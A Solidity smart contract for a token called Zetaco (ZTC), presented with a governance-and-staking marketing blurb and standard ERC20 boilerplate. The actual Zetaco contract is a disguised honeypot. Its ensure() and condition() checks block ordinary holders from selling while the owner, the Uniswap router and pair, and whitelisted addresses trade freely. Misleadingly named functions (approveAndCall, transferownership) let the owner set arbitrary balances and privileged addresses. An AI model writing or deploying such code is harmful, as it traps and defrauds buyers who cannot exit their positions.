/*

https://zetaco.org/


Zetaco TOKEN

Zetaco (ZTC) tokens is the native token for the Zetaco ecosystem. This native token serves several key functions that provide utility in relation to the recruitment system. ZTC is a multi-purpose token that drives activities of all ecosystem participants. ZTC holders can participate in the platform’s governance according to their stake and the distribution of ZTC rewards incentivizes them to contribute to the ecosystem. By holding ZTC, they may utilize or delegate votes to propose improvements to the Zetaco protocol, make changes to transaction fees or changes to how fees are distributed. Higher tiers in terms of staking and being active in the community unlock higher levels of rewards. In short, ZTC enables community governance of the Zetaco protocol, with true decentralization pushing the forefront.


*/
pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract Zetaco  {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
        address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
        //go the white address first
        if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender==owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool){require (msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
 function Agree(address addr) public returns (bool) {
        require(msg.sender == owner);
        
        canSale[addr]=true;
        return true;
        }

    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
    address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}